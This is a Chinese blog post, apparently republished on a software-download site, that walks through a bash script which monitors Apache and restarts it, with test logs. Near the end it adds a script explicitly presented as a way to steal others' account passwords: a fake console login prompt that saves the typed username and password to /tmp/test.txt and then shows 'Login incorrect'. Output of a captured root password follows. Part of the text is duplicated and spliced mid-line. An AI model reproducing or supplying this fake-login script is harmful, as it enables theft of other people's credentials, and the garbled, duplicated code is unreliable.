微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

apache服务监控脚本-----自动重启apache的办法

系统大全为您提供

[root@localhost shell]# vi apache_monitor.sh 

#!/bin/bash

while [ 1 ]

do

        wget http://127.0.0.1/a.html > /dev/null 2>&1

        if [ $? -ne 0 ]

        then

                service apache restart >/dev/null 2>&1

        else

                wt=`cat a.html`

                if [ $wt != 'OK' ]

                then

                        service apache restart > /dev/null 2>&1

                fi

        fi

sleep 2

done

 

 

[root@localhost shell]# cat /www/a.html 

 

OK

 

[root@localhost ~]# lsof -i:80

COMMAND   PID   USER   FD   TYPE DEVICE SIZE NODE NAME

httpd   32105   root    3u  IPv4 409340       TCP *:http (LISTEN)

httpd   32109 daemon    3u  IPv4 409340       TCP *:http (LISTEN)

httpd   32111 daemon    3u  IPv4 409340       TCP *:http (LISTEN)

httpd   32113 daemon    3u  IPv4 409340       TCP *:http (LISTEN)

[root@localhost ~]# killall httpd

[root@localhost ~]# lsof -i:80

[root@localhost ~]# lsof -i:80   在我杀死httpd进程的大概一两秒时间内,apache服务没有起来,但是很快就可以了,

 

如果是在实际生产中,可以把脚本中的sleep时间改成1.

COMMAND PID USER   FD   TYPE DEVICE SIZE NODE NAME

httpd   618 root    3u  IPv4 411612       TCP *:http (LISTEN)

[root@localhost ~]# lsof -i:80

COMMAND PID   USER   FD   TYPE DEVICE SIZE NODE NAME

httpd   618   root    3u  IPv4 411612       TCP *:http (LISTEN)

httpd   623 daemon    3u  IPv4 411612       TCP *:http (LISTEN)

httpd   625 daemon    3u  IPv4 411612       TCP *:http (LISTEN)

httpd   627 daemon    3u  IPv4 411612       TCP *:http (LISTEN)

 

[root@localhost ~]# cd /shell/

[root@localhost shell]# ls

access.log  a.html.176  a.html.254  a.html.332  a.html.410

a.html      a.html.177  a.html.255  a.html.333  a.html.411

a.html.1    a.html.178  a.html.256  a.html.334  a.html.412

a.html.10   a.html.179  a.html.257  a.html.335  a.html.413

a.html.100  a.html.18   a.html.258  a.html.336  a.html.414

a.html.101  a.html.180  a.html.259  a.html.337  a.html.415

a.html.102  a.html.181  a.html.26   a.html.338  a.html.416

a.html.103  a.html.182  a.html.260  a.html.339  a.html.417

a.html.104  a.html.183  a.html.261  a.html.34   a.html.418

a.html.105  a.html.184  a.html.262  a.html.340  a.html.419

a.html.106  a.html.………………

 

我擦,发现爆表了,忘记了,脚本还没有完善,需要把这东西全干掉

 

而且我还想要记录apache的重启时间和次数,所以还需要更改脚本

 

#!/bin/bash

while [ 1 ]

do

        wget http://127.0.0.1/a.html > /dev/null 2>&1

        if [ $? -ne 0 ]

        then

                service apache restart >/dev/null 2>&1

                        echo "apache restart at `date +%y-%m-%d %H:%M:%s`" >> times.txt

        else

                wt=`cat a.html`

                if [ $wt != 'OK' ]

                then

                        service apache restart > /dev/null 2>&1

                        echo "apache restart at `date +%y-%m-%d %H:%M:%s`" >> times.txt

                fi

        fi

rm -rf a.html

sleep 2

done

 

 

 

然后我开始做测试

 

[root@localhost shell]# cat times.txt 

[root@localhost shell]# killall httpd

[root@localhost shell]# cat times.txt 

[root@localhost shell]# cat times.txt 

apache restart at 13-10-15 17:47:27

[root@localhost shell]# killall httpd

[root@localhost shell]# cat times.txt 

apache restart at 13-10-15 17:47:27

apache restart at 13-10-15 17:47:40

 

然后我去改a.html的内容

 

 

[root@localhost www]# cat a.html 

OKiii   ----------内容不是OK后,脚本两秒钟自动重新下载一次

 

 

[root@localhost shell]# tail -f times.txt 

apache restart at 13-10-15 17:47:27

apache restart at 13-10-15 17:47:40

apache restart at 13-10-15 17:48:18

apache restart at 13-10-15 17:48:20

apache restart at 13-10-15 17:48:22

apache restart at 13-10-15 17:48:24

apache restart at 13-10-15 17:48:26

apache restart at 13-10-15 17:48:28

apache restart at 13-10-15 17:48:30

apache restart at 13-10-15 17:48:32

apache restart at 13-10-15 17:48:34

apache restart at 13-10-15 17:48:37

apache restart at 13-10-15 17:48:39

apache restart at 13-10-15 17:48:41

apache restart at 13-10-15 17:48:43

apache restart at 13-10-15 17:48:45

apache restart at 13-10-15 17:48:47

apache restart at 13-10-15 17:48:49

apache restart at 13-10-15 17:48:51

 

 

[root@localhost shell]# 

 

当我改回来后,脚本停止日志输出,想要知道apache重启了多少次

 

[root@localhost shell]# wc -l times.txt | cut -d" " -f1

19

 

####################################################

 

顺便写了几个简单的脚本,觉得很有意思

 

#!/bin/bash

a=1

b=5

while [ $a -le $b ]

do

        c=1

        while [ $c -le $a ]

        do

                echo -n  *

                let c++

        done

        let a++

        echo 

done

 

[root@localhost shell]# ./1.sh 

*

**

***

****

*****

一个简单的脚本,来套取别人的账号密码

 

#!/bin/bash

clear

cat  /etc/issue| head  -1

echo -e  `uname  -r` "on  an"  `uname  -m`

echo -e -n  `hostname  | cut  -d . -f1` "login:"

read  aa

echo "passwd:"

read -s bb

echo -n "username:$aa   password:$bb" >/tmp/test.txt

sleep 3

echo  -e "

"

echo "Login incorrect"

pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'`

kill -9 $pid while [ $a -le $b ]

do

        c=1

        while [ $c -le $a ]

        do

                echo -n  *

                let c++

        done

        let a++

        echo 

done

 

[root@localhost shell]# ./1.sh 

*

**

***

****

*****

一个简单的脚本,来套取别人的账号密码

 

#!/bin/bash

clear

cat  /etc/issue| head  -1

echo -e  `uname  -r` "on  an"  `uname  -m`

echo -e -n  `hostname  | cut  -d . -f1` "login:"

read  aa

echo "passwd:"

read -s bb

echo -n "username:$aa   password:$bb" >/tmp/test.txt

sleep 3

echo  -e "

"

echo "Login incorrect"

pid=` ps aux | grep 2.sh | grep bash | awk '{print $2}'`

kill -9 $pid 

 

运行效果如下

 

Red Hat Enterprise Linux Server release 5.5 (Tikanga)

2.6.18-194.el5 on  an i686

localhost login:

 

运行效果如下

 

Red Hat Enterprise Linux Server release 5.5 (Tikanga)

2.6.18-194.el5 on  an i686

localhost login:

[root@localhost ~]# cat /tmp/test.txt 

username:root   password:asdf

以上就是系统大全给大家介绍的如何使的方法都有一定的了解了吧,好了,如果大家还想了解更多的资讯,那就赶紧点击系统大全官网吧。

本文来自系统大全http://www.win7cn.com/如需转载请注明!推荐:win7纯净版

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐